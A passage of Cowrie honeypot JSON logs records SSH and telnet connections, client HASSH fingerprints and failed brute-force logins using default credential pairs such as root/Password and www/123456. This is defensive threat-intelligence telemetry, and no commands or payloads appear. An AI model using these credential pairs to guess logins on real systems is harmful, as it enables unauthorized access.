p384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:26.628290Z","src_ip":"160.187.174.22","session":"83d1925e224c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:27.341803Z","src_ip":"160.187.174.22","session":"83d1925e224c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:28.020943Z","src_ip":"91.92.40.153","session":"b3062f76411e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:28.138909Z","src_ip":"139.99.74.35","session":"8951b5aa70e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":41690,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5b7d129d712","protocol":"ssh","message":"New connection: 139.99.74.35:41690 (159.203.135.109:22) [session: a5b7d129d712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:28.377821Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:28.584336Z","src_ip":"160.187.174.22","session":"83d1925e224c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38724,"dst_ip":"10.17.0.5","dst_port":22,"session":"729a8e76063f","protocol":"ssh","message":"New connection: 91.92.40.153:38724 (10.17.0.5:22) [session: 729a8e76063f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:29.037557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:29.725999Z","src_ip":"91.92.40.153","session":"729a8e76063f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:29.753406Z","src_ip":"91.92.40.153","session":"729a8e76063f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"passwd","message":"login attempt [gitlab-runner/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:32.966704Z","src_ip":"91.92.40.153","session":"729a8e76063f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:33.155570Z","src_ip":"139.99.74.35","session":"a5b7d129d712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":41696,"dst_ip":"159.203.135.109","dst_port":22,"session":"e888ed10fcea","protocol":"ssh","message":"New connection: 139.99.74.35:41696 (159.203.135.109:22) [session: e888ed10fcea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:33.365592Z"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:34.885021Z","src_ip":"91.92.40.153","session":"729a8e76063f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":54470,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3bf2aae602c","protocol":"ssh","message":"New connection: 91.92.40.153:54470 (10.17.0.5:22) [session: d3bf2aae602c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:34.919348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:35.626820Z","src_ip":"91.92.40.153","session":"d3bf2aae602c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:35.629884Z","src_ip":"91.92.40.153","session":"d3bf2aae602c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:39.217813Z","src_ip":"139.99.74.35","session":"e888ed10fcea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"password","message":"login attempt [vncuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:39.246688Z","src_ip":"91.92.40.153","session":"d3bf2aae602c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":48486,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb3e15f5600f","protocol":"ssh","message":"New connection: 139.99.74.35:48486 (159.203.135.109:22) [session: cb3e15f5600f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:39.447683Z"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:41.425271Z","src_ip":"91.92.40.153","session":"d3bf2aae602c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":54544,"dst_ip":"10.17.0.5","dst_port":22,"session":"b153363b7648","protocol":"ssh","message":"New connection: 91.92.40.153:54544 (10.17.0.5:22) [session: b153363b7648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:41.544237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:42.207471Z","src_ip":"91.92.40.153","session":"b153363b7648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:42.212441Z","src_ip":"91.92.40.153","session":"b153363b7648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:44.227207Z","src_ip":"139.99.74.35","session":"cb3e15f5600f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":34410,"dst_ip":"159.203.135.109","dst_port":22,"session":"15d3c7b69d4c","protocol":"ssh","message":"New connection: 139.99.74.35:34410 (159.203.135.109:22) [session: 15d3c7b69d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:44.455467Z"}
{"eventid":"cowrie.login.failed","username":"cloud-user","password":"password","message":"login attempt [cloud-user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:45.120865Z","src_ip":"91.92.40.153","session":"b153363b7648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:47.339429Z","src_ip":"91.92.40.153","session":"b153363b7648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47142,"dst_ip":"10.17.0.5","dst_port":22,"session":"13c17acd89a9","protocol":"ssh","message":"New connection: 91.92.40.153:47142 (10.17.0.5:22) [session: 13c17acd89a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:47.725358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:48.274656Z","src_ip":"91.92.40.153","session":"13c17acd89a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:48.313146Z","src_ip":"91.92.40.153","session":"13c17acd89a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:49.240380Z","src_ip":"139.99.74.35","session":"15d3c7b69d4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":34432,"dst_ip":"159.203.135.109","dst_port":22,"session":"86b1dbfefe6d","protocol":"ssh","message":"New connection: 139.99.74.35:34432 (159.203.135.109:22) [session: 86b1dbfefe6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:49.469368Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:50.119954Z","src_ip":"91.92.40.153","session":"13c17acd89a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:51.354875Z","src_ip":"91.92.40.153","session":"13c17acd89a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":37664,"dst_ip":"159.203.135.109","dst_port":22,"session":"750aaa7d9dd7","protocol":"ssh","message":"New connection: 160.187.174.22:37664 (159.203.135.109:22) [session: 750aaa7d9dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:51.910867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:51.915242Z","src_ip":"160.187.174.22","session":"750aaa7d9dd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:52.455334Z","src_ip":"160.187.174.22","session":"750aaa7d9dd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:53.168898Z","src_ip":"160.187.174.22","session":"750aaa7d9dd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":33334,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4d6c48adbbc","protocol":"telnet","message":"New connection: 137.184.5.188:33334 (159.203.135.109:23) [session: b4d6c48adbbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:53.576507Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:54.410962Z","src_ip":"160.187.174.22","session":"750aaa7d9dd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":33620,"dst_ip":"10.17.0.5","dst_port":22,"session":"96ad211fdc94","protocol":"ssh","message":"New connection: 91.92.40.153:33620 (10.17.0.5:22) [session: 96ad211fdc94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:54.637736Z"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:54.694990Z","src_ip":"139.99.74.35","session":"86b1dbfefe6d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:54.850821Z","src_ip":"91.92.40.153","session":"96ad211fdc94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:54.853694Z","src_ip":"91.92.40.153","session":"96ad211fdc94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":40462,"dst_ip":"159.203.135.109","dst_port":22,"session":"97162c841371","protocol":"ssh","message":"New connection: 139.99.74.35:40462 (159.203.135.109:22) [session: 97162c841371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:54.947182Z"}
{"eventid":"cowrie.login.failed","username":"john","password":"123456","message":"login attempt [john/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:55.976053Z","src_ip":"91.92.40.153","session":"96ad211fdc94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:57.689324Z","src_ip":"91.92.40.153","session":"96ad211fdc94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:59.711396Z","src_ip":"139.99.74.35","session":"97162c841371","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":40488,"dst_ip":"159.203.135.109","dst_port":22,"session":"135bfe973a04","protocol":"ssh","message":"New connection: 139.99.74.35:40488 (159.203.135.109:22) [session: 135bfe973a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:00:59.931039Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":33648,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b0e448bec28","protocol":"ssh","message":"New connection: 91.92.40.153:33648 (10.17.0.5:22) [session: 4b0e448bec28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:00.885667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:00.947833Z","src_ip":"91.92.40.153","session":"4b0e448bec28","protocol":"ssh"}
